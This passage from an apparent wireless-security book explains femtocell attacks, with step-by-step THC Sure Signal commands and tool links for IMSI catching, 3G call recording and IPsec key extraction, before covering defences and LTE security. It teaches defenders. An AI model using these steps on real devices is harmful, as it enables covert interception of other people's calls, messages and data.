•		Removing	the	BVG	section	from	the	Sure	Signal	XML	files	also	prevents	the
Sure	Signal	from	reporting	alarms	to	the	carrier,	stopping	the	device	from
potentially	disclosing	evidence	of	a	compromise.

Once	remote	access	to	the	Sure	Signal	was	established	with	flexible	configuration	of	the
device,	THC	was	able	to	leverage	the	platform	for	several	additional	attacks,	described
next.

3G	IMSI	Catcher
The	Vodafone	Sure	Signal	is	designed	for	limited-use	scenarios	in	which	a	customer
identifies	a	set	number	of	devices	that	are	allowed	to	connect.	For	a	UE	device	to	connect
to	the	Sure	Signal,	the	administrator	must	previously	have	added	the	USIM	IMSI	to	a	list
of	permitted	devices.

THC	discovered	that	this	feature	is	not	enforced	on	the	Sure	Signal,	and	that	the
device	can	be	configured	as	an	IMSI	catcher.	By	editing	the	file
/opt/alu/fbsr/oam_data/dynamic/restore/Bulkcm.xml	and	changing	the	parameter
femtoACLenable	from	true	to	false,	the	Sure	Signal	no	longer	relies	on	the	IMSI	access-
control	list	to	allow	users	to	connect	and	will	allow	any	UE	to	connect.

When	unsuspecting	UEs	connect	to	the	Sure	Signal,	the	IMSI	information	is	recorded
in	XML	files	stored	in	the	/mnt/mainfs/oam_data/dynamic/backup	directory.	What’s	more,
the	UE	will	connect	to	the	Vodafone	carrier	network	through	the	Sure	Signal	broadband
interface,	giving	the	attacker	a	chance	to	capture	and	extract	3G	voice	and	data.

3G	Audio	Eavesdropping
Since	the	Sure	Signal	decrypts	the	3G	voice	traffic	prior	to	sending	the	audio	through	the
IPsec	connection	to	the	carrier	network,	it	is	possible	to	use	the	IMSI	catcher	functionality
to	lure	a	victim	device	and	eavesdrop	on	audio	conversations.	However,	a	mechanism	to
extract	the	decrypted	audio	content	prior	to	delivery	to	the	IPsec	connection	was	needed	to
eavesdrop	on	voice	calls.

THC	leveraged	the	Linux	netfilter	functionality	that	allows	a	user-space	program	to
“tap”	the	Linux	kernel	data,	process	the	data	in	userspace,	and	then	deliver	the	data	back
to	the	kernel	for	delivery.	Their	utility,	umts_sniffer,	registers	a	netfilter	socket	to	capture



and	save	the	decrypted	audio	files	to	the	local	filesystem,	as	shown	here	(to	download	the
sniffer,	go	to	https://wiki.thc.org/vodafone?
action=AttachFile&do=get&target=umts_sniffer-0.1.tar.gz	and	for	the	compiled	binary
for	the	Sure	Signal,	see	https://wiki.thc.org/vodafone?
action=AttachFile&do=get&target=umts_sniffer).

First,	we	download	the	netfilter	kernel	module	for	IP	packet	queue	manipulation
(https://wiki.thc.org/vodafone?action=AttachFile&do=get&target=ip_queue.ko)	and
transfer	it	to	the	Sure	Signal.	Next,	we	load	the	module,	as	shown	here:
#	insmod	./ip_queue.ko

Then,	we	transfer	the	compiled	umts_sniffer	binary	to	the	Sure	Signal	and	start	it	with
no	arguments:
#	./umts_sniffer

Finally,	we	add	Linux	iptables	rules,	redirecting	inbound	and	outbound	UDP	traffic
carrying	the	Real-time	Transport	Protocol	(RTP)	audio	traffic	to	the	queue	so	it	can	be
recorded	by	umts_sniffer,	as	shown	here:

As	voice	calls	are	made	through	the	Sure	Signal,	the	audio	content	is	extracted	and
written	to	the	directory	where	umts_sniffer	was	launched	using	date-stamp	filenames	in
adaptive	multi-rate	(AMR)	format.	AMR	files	can	be	played	back	using	AMR	Player	for
Windows	(http://www.amrplayer.com/)	or	QuickTime.

In	addition	to	audio	eavesdropping	on	3G	phone	calls,	the	Sure	Signal	can	be	used	as	a
3G	data	packet	interception	tool.

3G	Packet	Sniffer
UE	devices	connected	to	the	Sure	Signal	that	use	3G	data	services	also	are	vulnerable	to
packet	sniffing	attacks	as	the	Sure	Signal	decrypts	traffic	prior	to	delivering	to	the	carrier
network	in	the	IPsec	connection.	Although	it’s	possible	to	capture	the	decrypted	packet
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contents	with	a	userspace	netfilter	process	similar	to	umts_sniffer,	the	limited	processing
and	storage	capacity	of	the	Sure	Signal	make	this	a	less	desirable	option.

THC	adopted	a	different	approach	to	capturing	the	3G	data	activity.	Instead	of
capturing	on	the	Sure	Signal	itself,	they	simply	captured	the	IPsec-encrypted	traffic	as	it
left	the	Sure	Signal	using	a	network	tap,	span	port,	or	hub.	Instead	of	exploiting	the
SNOW	stream	cipher	or	KASUMI	block	cipher	used	in	3G	networks,	THC	targeted	the
IPsec-encrypted	traffic	between	the	SureSignal	and	the	carrier	network,	for	which	both
decryption	tools	and	the	key	material	was	available,	as	shown	here.

Access	to	the	IPsec	Encapsulating	Security	Payload	(ESP)	traffic	by	itself	isn’t	a
tremendous	advantage	for	the	attacker.	With	access	to	the	Sure	Signal,	however,	the
attacker	can	obtain	the	IPsec	Security	Association	(SA)	information	that	reveals	the
encryption	key	information	using	the	Linux	ip	utility.	With	this	information,	an	attacker
can	capture	and	decrypt	3G	network	traffic	by	following	these	steps:

1.	Start	a	packet	capture	on	the	sniffer	connected	to	the	network	tap,	span	port,	or	hub
with	tcpdump.	Limit	the	capture	to	ESP	traffic	to	focus	solely	on	the	3G	network
activity	by	applying	the	packet	filter	ESP.	Leave	the	packet	capture	running	for	the
duration	of	the	victim’s	3G	connection:

2.	From	your	shell	access	on	the	Sure	Signal,	periodically	run	the	ip	xfrm	state
command	to	display	the	IPsec	SA	information	for	lured	UE	devices:



3.	When	you	are	ready	to	inspect	the	3G	network	traffic,	stop	the	tcpdump	process	and
open	the	packet	capture	in	Wireshark.	Configure	Wireshark	to	decrypt	the	ESP	traffic
by	clicking	Edit	|	Preferences	|	Protocols	|	ESP	|	Edit	and	populate	the	SA	information
for	both	sides	of	the	IPsec	exchange,	similar	to	the	example	shown	in	Figure	12-4.
Enter	both	sides	of	the	ESP	exchange	and	then	click	OK.	Wireshark	applies	the	new
settings	and	decrypts	the	ESP	exchange,	allowing	you	to	view	the	decrypted	packet
contents,	as	shown	in	Figure	12-5.

Figure	12-4	Wireshark	Preferences	for	IPsec	decryption



Figure	12-5	Wireshark	IPsec	decrypted	network	activity

Vodafone	Patch
Following	the	THC	disclosure	of	findings	to	Vodafone,	a	pair	of	patches	were	released	and
automatically	distributed	and	applied	to	Sure	Signal	devices.	Vodafone	indicates	that	the
patches	resolve	the	access	vulnerabilities	identified	by	THC	and	prevents	Sure	Signal
devices	running	older	firmware	from	connecting	to	the	Vodafone	carrier	network,	thereby
preventing	a	malicious	attacker	from	configuring	his	Sure	Signal	to	capture	and	connect
unsuspecting	users	to	the	legitimate	Vodafone	network.

While	Vodafone’s	patches	may	address	some	of	the	issues	identified	by	THC,	they	do
not	address	the	underlying	problem	associated	with	femtocell	devices.	A	skilled	attacker
can	still	obtain	access	to	the	shell	environment	on	the	Sure	Signal	(requiring	a	new	shell
access	technique,	such	as	the	exploitation	of	the	system	bootloader,	the	recent	bash	Shell
Shock	exploit,	or	another	vulnerability	in	the	system)	and	“fake”	the	firmware	version
reported	to	Vodafone	to	connect	unsuspecting	victims	to	the	carrier’s	network.	Such	a
configuration	would	still	yield	unauthorized	access	to	3G	voice	and	data	traffic,	giving	an
adversary	a	powerful	eavesdropping	tool.

The	Vodafone	Sure	Signal	hack	by	THC	remains	a	useful	example	of	the	potential
threat	of	malicious	femtocell	devices,	even	though	limited	to	GSM	networks.	Shortly	after
the	Sure	Signal	hack	was	made	public,	another	project	demonstrated	similar
vulnerabilities	in	Verizon	and	Sprint	3G/CDMA	networks.

	Verizon/Sprint	Femtocell	Hack



The	successful	hack	against	the	Vodafone	Sure	Signal	was	followed	shortly	thereafter
by	a	separate	attack	against	a	handful	of	Verizon	femtocell	devices.	Led	by	Doug	DePerry,
Tom	Ritter,	and	Andrew	Rahimi	from	iSEC	Partners,	the	hack	demonstrated	that	the
problem	of	malicious	femtocell	devices	is	not	limited	to	GSM	providers;	it	also	extends	to
CDMA/EV-DO	networks.

DePerry	and	team	focused	on	exploiting	the	Verizon	SCS-26UC4	(shown	here)	and
the	SCS-2U01	produced	by	Samsung	for	Verizon	Wireless.	In	addition,	the	SCS-26UC4	is
used	as	a	repackaged	Sprint	AIRAVE,	exposing	Sprint	customers	to	similar	attacks.

After	discovering	that	an	exposed	HDMI	connector	on	the	femtocell	devices	could	be
manipulated	to	extend	system	console	access,	DePerry	and	team	were	quick	to	obtain	root
shell	access,	identifying	the	femtocell	devices	as	being	built	on	the	MontaVista	Linux
platform.	After	further	research	(and	some	struggle),	they	were	able	to	develop	and
leverage	a	custom	Linux	kernel	module	to	capture	decrypted	activity	before	the	data	was
forwarded	through	the	IPsec	connection	to	the	Verizon	carrier	network.

With	access	to	the	decrypted	data	passing	through	the	femtocell	device	to	the	UE	and
the	carrier	network,	several	interesting	attacks	became	possible:

•		Automatic,	silent	UE	join	Unlike	the	default	configuration	of	the	Sure
Signal,	the	Samsung	femtocell	devices	allow	any	compatible	UE	to	join	the
femtocell.	DePerry	and	team	reported	that	no	indicators	were	present	on	their	UE
devices	that	would	indicate	they	were	connected	to	the	femtocell.

•		Audio	eavesdropping	Audio	conversations	between	callers	can	be	recorded
in	plaintext	through	the	femtocell.	In	addition,	the	team	discovered	that	the
microphone	on	UE-connected	devices	would	transmit	audio	content	even	before



the	recipient	caller	answered,	creating	an	opportunity	to	pick	up	ambient	sound
and	speaking	prior	to	the	phone	call	establishment.

•		SMS/MMS	eavesdropping	SMS	and	MMS	message	content	is	accessible	in
plaintext	through	the	femtocell,	allowing	text	and	media	content	to	be	written	to
files	for	later	viewing.

•		Data	eavesdropping	Similarly,	EV-DO	data	that	transits	the	femtocell	can	be
saved	to	a	libpcap	file	for	subsequent	viewing.

•			Data	manipulation	DePerry	and	team	were	able	to	manipulate	network
traffic	as	it	transited	the	femtocell,	creating	opportunities	to	thwart	SSL	use
(through	sslstrip,	http://www.thoughtcrime.org/software/sslstrip).	Applications,
including	Apple’s	iMessage,	are	not	vulnerable	to	sslstrip,	but	they	could	be
actively	blocked	from	use,	causing	iOS	handsets	to	transmit	messages	over
SMS/MMS	that	could	be	accessed.

•		Phone	cloning	The	femtocell	device	lacked	modern	security	mechanisms
used	to	thwart	cloning	attacks	(Cellular	Authentication	and	Voice	Encryption,	or
CAVE).	As	a	result,	victim	devices	that	connected	to	the	femtocell	disclosed	the
Electronic	Serial	Number	(ESN)	and	Mobile	Identification	Number	(MIN),	which
can	be	cloned	onto	an	imposter	phone.	The	imposter	phone	could	then	make	calls
and	send	messages	that	appear	to	originate	from	the	victim	(and	are	billed	to	the
victim).

At	their	2013	DEFCON	presentation,	DePerry	and	team	demonstrated	these	attacks,
and	have	subsequently	published	videos	highlighting	the	attacks	as	well
(http://www.youtube.com/user/iSECPartners).	At	the	time	of	this	writing,	the	tools	used	to
implement	these	attacks	(including	the	custom	kernel	module	needed	to	obtain	the
unencrypted	data)	have	not	been	publicly	released.	Additional	information	on	the
femtocell	hack	is	available	on	the	iSEC	Partners	website
(http://www.isecpartners.com/blog/2013/august/femtocell-presentation-slides-videos-and-
app.aspx).

Verizon	Response
Upon	identifying	the	flaws	in	the	femtocell	products,	DePerry	and	team	notified	Verizon
about	the	flaws.	After	confirmation,	Verizon	quickly	pushed	a	firmware	update	out	to	the
femtocell	devices	that	claimed	to	have	resolved	the	flaws.	Despite	this	update,	DePerry
and	team	were	able	to	demonstrate	the	flaws	at	their	DEFCON	presentation	later	that	year,
which	implies	that	it	was	possible	to	prevent	carrier-supplied	updates	from	being	installed,
and	that	Verizon	was	not	enforcing	a	mandatory	version	of	firmware	that	included	the
fixes	for	connected	femtocell	devices.

	Defending	Against	Femtocell	Imposters
As	an	end-user,	a	malicious	femtocell	device	represents	a	threat	that	undermines	the
security	of	3G	connections.	As	a	defense	mechanism,	users	should	attempt	to	identify
when	they	are	connected	to	such	a	device	as	a	potential	eavesdropping	or	manipulation
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threat.

For	CDMA-based	phones,	placing	a	call	when	connected	to	a	femtocell	device	will
emit	a	short	beep	immediately	before	ringing.	This	identification	of	the	femtocell	requires
that	the	user	place	a	call,	however,	and	does	not	offer	any	identification	technique	for	data
access	or	SMS/MMS	messaging	while	connected	to	a	femtocell.

As	part	of	their	research,	DePerry	and	team	developed	an	Android	application,
FemtoCatcher,	available	in	the	Google	Play	store
(https://play.google.com/store/apps/details?id=com.isecpartners.femtocatcher,	source
code	at	https://github.com/iSECPartners/femtocatcher).	Running	in	the	background,
FemtoCatcher	checks	the	Network	Identification	Number	(NID)	for	the	connected	tower,
identifying	NIDs	within	the	range	0xFA	and	0xFF	as	femtocell	devices.	When	a	femtocell
network	is	detected,	FemtoCatcher	alerts	the	user	and	offers	assistance	in	turning	on
Airplane	mode	to	disconnect	from	the	possibly	malicious	network,	as	shown	here.

As	we’ve	demonstrated,	a	compromised	femtocell	device	can	be	a	powerful	tool	for	an
adversary.	Although	carriers	attempt	to	mitigate	these	attacks	by	pushing	mandatory
patches	to	the	femtocell	products,	an	attacker	who	identifies	a	flaw	in	the	product	can
ultimately	gain	access	to	the	platform,	using	it	to	lure	unsuspecting	UE	devices.

Next	we’ll	look	at	the	progress	made	by	the	3GPP	in	the	adoption	of	4G	LTE
technology	and	the	techniques	adopted	to	mitigate	many	of	these	attacks.

4G/LTE	Security
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Unlike	earlier	3GPP	networks,	fourth-generation	Long	Term	Evolution	(4G	LTE)
networks	provide	a	strong	mechanism	for	mutual	authentication	that	defeats	many	known
attacks	against	cellular	networks.	In	addition,	LTE	networks	utilize	key	holding	separation
and	key	derivation	functions	to	limit	accessibility	to	the	secret	key	used	to	authenticate
both	the	USIM	and	the	back-end	network.	These	improvements	not	only	provide	LTE
networks	with	modern	security	features	while	achieving	transparency	for	the	end-user,	but
also	create	an	opportunity	for	an	attacker	to	capture	and	eavesdrop	on	LTE	network
activity.

In	this	section,	we	first	look	at	the	basic	architecture	of	LTE	networks,	examining	the
components	involved	in	the	authentication	exchange	and	subsequent	network	access.	We
also	look	at	the	authentication	exchange	for	LTE	networks	and	how	that	system	improves
on	previous	3GPP	models.	Finally,	we	look	at	an	attack	opportunity	that	has	previously
granted	sophisticated	attackers	plaintext	access	to	sensitive	cellular	voice	and	data
exchanges.

LTE	Network	Model
The	complete	implementation	of	an	LTE	network	model	is	fairly	complex	with	many
different	components	satisfying	different	implementation	requirements.	A	fundamental
understanding	of	the	LTE	architectural	model	can	be	grasped	through	a	basic	mobile
device	and	supporting	network	illustration,	as	shown	in	Figure	12-6.	We	examine	each	of
these	components	and	the	role	they	play.

Figure	12-6	4G	LTE	basic	network	architecture

•		USIM/UE	The	Universal	Subscriber	Identity	Module	(USIM)	lives	within	the
User	Equipment	(UE).	The	USIM	plays	an	essential	role	in	validating	the	identity
of	the	network	and	provides	a	secure	storage	mechanism	for	the	secret	key.	The
UE	is	the	handset	or	other	device	that	connects	to	the	LTE	network.

•		eNodeB	The	Evolved	Node	B	element	is	similar	to	that	of	the	Node	B
element	in	previous	3GPP	specifications,	providing	the	radio	element	access
mechanism	the	ability	to	connect	the	UE	to	the	LTE	network.	The	eNodeB



provides	low-level	access	to	the	LTE	network	and	does	not	actively	participate	in
high-level	data	access	or	authentication	options.

•		MME	The	Mobility	Management	Entity	(MME)	interfaces	with	eNodeB	and
provides	the	primary	control	node	for	access	to	the	LTE	network.	The	MME	is
ultimately	responsible	for	encrypting	and	decrypting	network	traffic	after
completing	the	authentication	exchange,	and	for	selecting	the	Serving	Gateway
(SGW)	that	will	bear	the	UE	connection.

•		HSS	The	Home	Subscriber	Server	(HSS)	is	the	central	database	of	subscriber
information.	The	HSS	interacts	with	the	MME	to	validate	the	USIM	network
access	entitlement,	providing	the	MME	with	the	necessary	information	to
authenticate	the	identity	of	the	network	to	the	USIM.

•		SGW	The	Serving	Gateway	is	responsible	for	routing	packet	data	over	the
network.	The	SGW	interacts	with	the	MME	to	grant	or	deny	access	to	the	UE
based	on	authentication	status.

•		PDN-GW	The	Packet	Data	Network	Gateway	(PDN-GW)	accepts	packets
from	the	SGW	and	interfaces	with	external,	non-LTE	networks	such	as	the
Internet.

This	network	model	provides	a	structured	access	mechanism	for	LTE	devices	to
interact	with	external	networks	while	providing	network	authentication	and	encryption
functions.	Although	this	model	can	become	significantly	more	complex	(notably	to
accommodate	roaming	between	towers),	it	provides	the	essential	features	necessary	to
understand	the	LTE	authentication	functions.

LTE	Authentication
LTE	networks	provide	mutual	authentication	of	the	handset	and	the	network	infrastructure
through	the	Evolved	Packet	System	Authentication	and	Key	Agreement	(EPS-AKA).	Like
GSM	and	3G	networks,	LTE	relies	on	the	identification	function	and	shared	key	content
provided	by	the	International	Mobile	Subscriber	Identity	(IMSI).	The	IMSI	is	made	up	of
three	components:

•		MCC	The	Mobile	Country	Code,	identifying	the	country	of	the	end-user

•		MNC	The	Mobile	Network	Code,	identifying	the	home	network

•		MSIN	Mobile	Subscriber	Identification	Number,	identifying	the	user	within
the	MCC	and	MNC	context

The	IMSI	value	is	stored	on	the	USIM	and	is	a	fixed	value;	the	IMSI	cannot	be
changed	without	changing	USIM	cards.	The	IMSI	acts	as	a	shared	identifier	for	the	UE,
such	as	an	LTE	phone,	and	the	HSS	for	the	associated	authentication	key	“K.”	The	K
value	is	used	by	both	the	UE	and	the	HSS	for	mutual	authentication.

	



The	fundamental	security	component	used	for	authentication	and	dynamic	key	derivation
in	LTE	networks	is	the	shared	secret	K,	stored	in	the	USIM	and	the	HSS.	Unlike	WPA-
PSK	networks,	which	also	rely	on	a	shared	secret,	the	shared	secret	K	in	LTE	networks	is
unique	for	every	end-user	device	that	connects	to	the	network.

The	authentication	exchange	between	an	end-user	and	the	LTE	infrastructure	involves,
at	a	minimum,	the	USIM,	the	UE,	the	MME,	and	the	HSS.	A	simplified	LTE
authentication	exchange	is	shown	in	Figure	12-7:

Figure	12-7	4G	LTE	authentication	exchange

1.	The	USIM	shares	the	IMSI	value	with	the	UE.	Note	that	the	USIM	never	discloses
the	secret	key	K	to	the	UE	or	over	any	network	interface.

2.	The	UE	forwards	the	IMSI	to	the	MME.

3.	The	MME	forwards	the	IMSI	to	the	HHS.	With	the	IMSI,	the	HSS	can	identify	the
secret	key	K	(the	secret	key	K	is	never	shared	with	the	MME).	With	the	secret	key	K,
the	HHS	selects	a	random	value	(RAND)	and	derives	the	Access	Secure
Management	Entity	Key	(KASME),	an	authentication	value	(AUTN),	and	the
Expected	Response	(XRES)	values.

4.	The	HHS	shares	the	KASME,	AUTN,	XRES,	and	RAND	values	with	the	MME.	The



HHS	is	essentially	finished	with	the	exchange	at	this	point,	leaving	the	identity
validation	to	the	MME.

5.	The	MME	retains	the	KASME	and	XRES	values	as	local	secrets,	sharing	the	AUTN
and	RAND	values	with	the	UE.

6.	The	UE	shares	the	AUTN	and	RAND	with	the	USIM.

7.	The	USIM,	who,	like	the	HHS,	knows	the	secret	key	K,	calculates	its	own	AUTN
value,	comparing	it	to	that	of	the	AUTN	originally	from	the	HSS.	If	the	AUTN
values	match,	the	USIM	has	validated	the	identity	of	the	HSS	as	having	the	same
shared	key	K.	Next,	the	USIM	calculates	its	own	response	value	(RES)	and
intermediate	key	values	ultimately	used	to	derive	the	KASME,	sent	to	the	UE.

8.	The	UE	saves	the	KASME	for	later	use,	forwarding	the	RES	value	to	the	MME.

9.	The	MME	compares	the	RES	to	the	XRES	previously	delivered	from	the	HHS.	By
comparing	the	RES	and	XRES	values,	the	MME	validates	that	the	USIM	has	the
correct	secret	key	K.	Both	entities	have	been	mutually	authenticated.

10.	Using	the	derived	KASME	values,	the	UE	and	the	MME	can	encrypt	and	decrypt
traffic	over	the	wireless	medium.

Figure	12-7	illustrates	a	worst-case	scenario	where	the	IMSI	is	sent	in	plaintext	over
the	LTE	network	interface.	This	represents	a	likely	scenario	during	the	initial	connection
exchange	between	the	UE	and	the	MME,	but	subsequent	connections	would	send	a
derived	Globally	Unique	Temporary	Identity	(GUTI)	value	instead.	The	use	of	the	GUTI
does	not	dramatically	change	the	authentication	exchange,	simply	adding	a	GUTI	to	IMSI
lookup	on	the	MME	prior	to	sending	the	IMSI	to	the	HHS.

Despite	the	use	of	a	GUTI	value	for	identification,	LTE	networks	remain	vulnerable	to
IMSI	catcher	attacks.	The	UE	must	disclose	the	IMSI	when	it	connects	to	the	network	for
the	first	time	so	a	GUTI	value	can	be	derived.	Authentication	of	the	network	happens	after
the	IMSI	disclosure	because	the	IMSI	is	needed	to	identify	the	shared	key	K	used	to
derive	the	AUTN,	XRES,	and	KASME	values.	An	attacker	who	establishes	a	rogue	LTE
network	and	lures	UE	devices	to	connect	will	initiate	the	connection	with	an	identity
request	message,	forcing	the	UE	to	disclose	the	IMSI.

Despite	the	privacy	threat	of	an	IMSI	catcher	attack,	the	LTE	authentication	exchange
provides	a	strong	mutual	authentication	mechanism	with	key	holding	separation.	On	the
infrastructure	side,	LTE	networks	can	limit	the	attack	surface	from	which	the	secret	key	K
could	be	compromised	by	limiting	the	disclosure	of	this	value	to	the	HSS.	Similarly,	the
USIM	never	discloses	the	secret	key	K	to	the	UE,	preventing	rogue	applications	from
stealing	the	value	and	limiting	an	attacker’s	ability	to	clone	the	value	onto	another	USIM.

Next	we	look	at	the	encryption	mechanisms	used	to	provide	data	confidentiality	in	an
LTE	network	that	follow	the	authentication	exchange.

LTE	Encryption
Like	modern	cryptographic	systems,	LTE	supports	algorithm	flexibility.	Whereas	early



3GPP	systems	were	limited	to	a	handful	of	algorithms	that	could	not	be	easily	replaced
without	significant	changes	to	the	network	infrastructure	and	UE	devices,	LTE	networks
can	add	new	encryption	algorithms	as	needed	to	the	protocol.	If	a	devastating	flaw	in	AES
were	discovered	tomorrow,	LTE	networks	could	adapt	by	adding	a	new	algorithm	option
(or	switching	to	a	different	algorithm	already	supported)	to	mitigate	the	flaw.

Null	Algorithm
The	service	needs	for	carrier	networks	are	complex.	In	some	cases,	the	need	to	provide
service	outweighs	the	desire	for	security	in	the	LTE	network.	This	is	embodied	with	the
use	of	the	Null	Algorithm.

LTE	emergency	calling	systems	(in	the	United	States,	calls	to	911)	must	be	supported
from	any	UE	device,	even	those	lacking	a	USIM	card.	In	this	situation,	the	need	to	provide
emergency	services	outweighs	the	need	for	security,	but	we	also	lack	the	critical
information	necessary	to	derive	keys	used	to	encrypt	and	decrypt	traffic	(the	secret	key	K
stored	on	the	USIM).	To	meet	this	need,	LTE	networks	support	the	Null	Algorithm,	which
does	not	provide	confidentiality	of	network	traffic.	This	lack	of	authentication	or
encryption	creates	an	opportunity	for	an	attacker,	simplifying	an	attack	that	is	used	to
impersonate	a	legitimate	carrier	network	without	the	need	for	cryptographic	attacks.

Encryption	Algorithms
In	addition	to	the	Null	Algorithm,	LTE	networks	support	the	128-EEA1	algorithm,	dubbed
SNOW	3G,	and	the	128-EEA2	algorithm,	known	as	AES-CTR-128.	The	SNOW	3G
algorithm	was	brought	forward	from	3G	networks	and	reintroduced	as	a	well-known
option	for	carriers	that	have	used	the	algorithm	for	many	years	prior.	The	use	of	SNOW
3G	helped	stabilize	the	security	controls	in	LTE	networks	by	reusing	an	algorithm	already
well	understood	and	readily	available	for	deployment.

For	the	first	time,	however,	LTE	network	operators	can	also	use	the	AES	algorithm	in
Counter	(CTR)	mode	with	a	128-bit	key	length.	In	CTR	mode,	AES	encryption	can	be
accelerated	in	hardware	using	parallelism	and	has	already	been	proven	in	other	well-
known	deployment	scenarios	(such	as	IEEE	802.11/WPA2	security).	AES	provides	a	path
moving	forward	to	use	off-the-shelf	algorithms	for	LTE	security	instead	of	purpose-built
functions,	reducing	some	of	the	complexity	of	the	protocol	design	and	accelerating
adoption.

Through	the	use	of	strong	mutual	authentication,	confidentiality,	and	integrity
mechanisms,	LTE	networks	provide	a	strong	defense	against	many	attacks	like	their	3G
predecessor.	Even	the	3G	attack	vector	of	exploiting	networks	through	femtocell	hardware
manipulation	received	notable	attention,	as	you’ll	see	next.

Platform	Security
In	LTE	parlance,	the	femtocell	unit	that	extends	the	licensed	frequency	RF	service	within
the	owner’s	premises	is	known	as	the	Home	eNodeB	or	HeNB.	The	HeNB	provides	similar



functionality	to	its	3G	counterpart,	the	Home	NodeB	(HNB),	leveraging	the	user’s
broadband	Internet	connection	to	tunnel	data	service	over	IPsec	to	the	carrier	Security
Gateway	(SeGW),	as	shown	here.

The	Security	Gateway	(SeGW)	device	takes	on	several	roles,	including	the	secure
negotiation,	encryption,	and	decryption	of	network	traffic	to	and	from	the	HeNB.	The
network	operator	uses	IPsec	with	IKEv2	for	authentication	between	the	HeNB	and	the
SeGW,	leveraging	X.509	digital	certificates	for	mutual	authentication.	When	a	UE
connects	to	the	HeNB	device,	it	operates	in	a	similar	fashion	to	that	of	an	eNodeB,
providing	mutual	authentication	though	the	use	of	the	USIM	through	the	MME	and	HSS
prior	to	granting	access	to	the	Serving	and	Packet	Gateways	(SGW,	PGW).

Unlike	conventional	LTE	deployments,	the	MME	is	not	responsible	for	encrypting	and
decrypting	traffic	with	KASME.	Instead,	the	HeNB	decrypts	packet	data	activity	from	the
UE	before	sending	the	data	over	the	IPsec	connection.	This	makes	the	HeNB	an	attractive
entry	point	for	attackers,	giving	them	several	attack	opportunities:

•		Small,	lightweight,	and	portable	IMSI	catcher

•		Entry	point	into	the	carrier	network	to	attack	infrastructure	targets

•		Opportunity	to	lure	LTE	victims	and	eavesdrop	on	or	manipulate	network
activity	prior	to	upstream	or	downstream	delivery

Recognizing	these	concerns,	and	in	response	to	prior	3G	femtocell	attacks,	the	3GPP
set	forth	several	requirements	for	HeNB	devices:

•		Physical	security	requirements	3GPP	requires	that	the	USIM	be	physically
secured	to	mitigate	system	tampering	or	unauthorized	access	attacks.	Despite	this
requirement,	3GPP	makes	no	testing	or	compliance	requirements	to	meet	this	goal,
allowing	the	manufacturer	to	identify	the	security	controls	that	should	be	applied
as	an	assurance	to	the	carrier.

•		Root	of	trust	and	Trusted	Execution	Environment	HeNB	devices	must
utilize	a	root	of	trust	that	is	subsequently	used	to	verify	the	Trusted	Execution
Environment	(TEE).	Through	this	mechanism,	all	code	must	pass	signature
validation	tests	based	on	the	root	of	trust	to	thwart	malicious	code	attacks.
Specifically,	the	TEE	must	extend	to	the	boot	process	and	all	operating	system	and



other	executables	used	on	the	HeNB.

•		Segmentation	of	internal	data	The	HeNB	must	provide	a	segmentation	of
operating	system	and	LTE	data	frames	to	mitigate	eavesdropping	attacks	on	the
HeNB.

•		Device	and	data	integrity	checks	The	HeNB	must	provide	device	and	data
integrity	check	functionality	to	identify	tampering	attacks	that	could	threaten	the
security	of	the	HeNB,	user	data,	and	the	carrier	network.

•		Geolocation	To	ensure	that	the	HeNB	does	not	transmit	using	licensed
frequencies	in	areas	where	those	frequencies	are	not	permitted,	the	HeNB	uses
Global	Navigation	Satellite	Systems	(GNSS),	commonly	through	the	use	of	a	GPS
receiver.

•		Time	synchronization	The	HeNB	must	maintain	an	accurate	clock	system	to
ensure	the	validity	of	certificate	expiration	used	by	IPsec.

While	products	that	meet	these	requirements	have	yet	to	be	publicly	vetted,	it	is	likely
that	these	rules	will	greatly	improve	the	security	of	HeNB	devies,	mitigating	some	of	the
earlier	attacks	observed	against	HNB	(3G	femtocell)	platforms.	However,	a	lack	of
certification	and	compliance	testing	for	3GPP	HeNB	devices	could	lead	to	shortcuts	from
a	device	manufacturer	as	a	cost-reduction	exercise.	Unauthorized	access	to	an	HeNB
device	would	yield	an	attacker	the	opportunity	to	eavesdrop	on	LTE	data	transmissions,
similar	to	that	of	3G	networks.

Summary
In	this	chapter,	we	looked	at	the	security	of	multiple	cellular	network	technologies.	Early
2G	networks	are	known	to	be	vulnerable	to	several	attacks	stemming	from	their	use	of
weak	cryptography	and	weak	authentication	protocols.	Tools	such	as	AirProbe,	Kraken,
and	Pytacle	have	allowed	attackers	to	establish	passive	sniffing,	key	recovery,	decryption,
and	data	extraction	tools,	while	OpenBTS	and	YateBTS	have	created	straightforward
opportunities	to	mount	GSM	MitM	attacks.

As	cellular	network	technology	has	evolved,	security	has	improved.	Networks	using
3G	technology	leverage	improved	authentication	and	encryption	ciphers,	thwarting	many
of	the	early	2G	attacks.	However,	3G	technology	introduced	the	femtocell	architecture	as	a
natural	evolution	of	cellular	network	technology,	which	has	been	repeatedly	demonstrated
as	an	exposure	for	cellular	network	carriers	and	end-users.	As	an	authorized	3G	network
termination	point,	femtocell	devices	have	been	leveraged	by	attackers	to	eavesdrop	on
users,	yielding	access	to	phone	call	audio,	SMS/MMS	messages,	and	data
communications.	As	a	MitM	interface,	femtocell	devices	have	also	been	used	to
manipulate	network	traffic	surreptitiously	as	it	transits	the	femtocell,	creating	many	attack
opportunities.

The	most	recent	4G	LTE	network	technology	continues	to	improve	on	cellular	network
security,	including	strict	new	requirements	for	physical	security	controls	on	femtocell
devices.	To	date,	we	haven’t	seen	significant	security	breaks	in	LTE	network	technology,



allowing	consumers	to	use	this	technology	with	some	confidence.

In	this	chapter	we	looked	at	techniques	to	attack	long-range	cellular	network	protocols.
Similar	threats	also	plague	shorter-range	technology	as	well,	as	we’ll	see	in	the	next
chapter	as	we	look	at	the	vulnerabilities	in	the	ZigBee	and	IEEE	802.15.4	protocols.



	





CHAPTER	13
	



HACKING	ZIGBEE
	





ZigBee	is	an	established	yet	still	growing	wireless	technology	that	is	being	adopted	across
multiple	industries	in	which	a	simple	protocol	stack,	small	form-factor,	low	data
rate,	and	long	battery	life	are	required.	Developed	by	the	ZigBee	Alliance,	ZigBee

technology	is	found	in	industrial	and	home	applications	as	an	integral	component	in	a
wide	range	of	technologies,	from	home	theater	remote	controls	to	hospital	patient
monitoring	systems.

Since	the	second	edition	of	this	book,	ZigBee	has	established	a	firm	grasp	on
peripheral	devices	in	the	home	and	building	automation	market,	with	significant	growth	in
the	industrial	control	system	market.	Although	Bluetooth	Low	Energy	has	dominated	in
the	medical	device,	mobile	phone,	and	mobile	phone	peripheral	markets,	ZigBee
continues	to	be	the	wireless	platform	of	choice	for	smart	energy	applications,	connecting
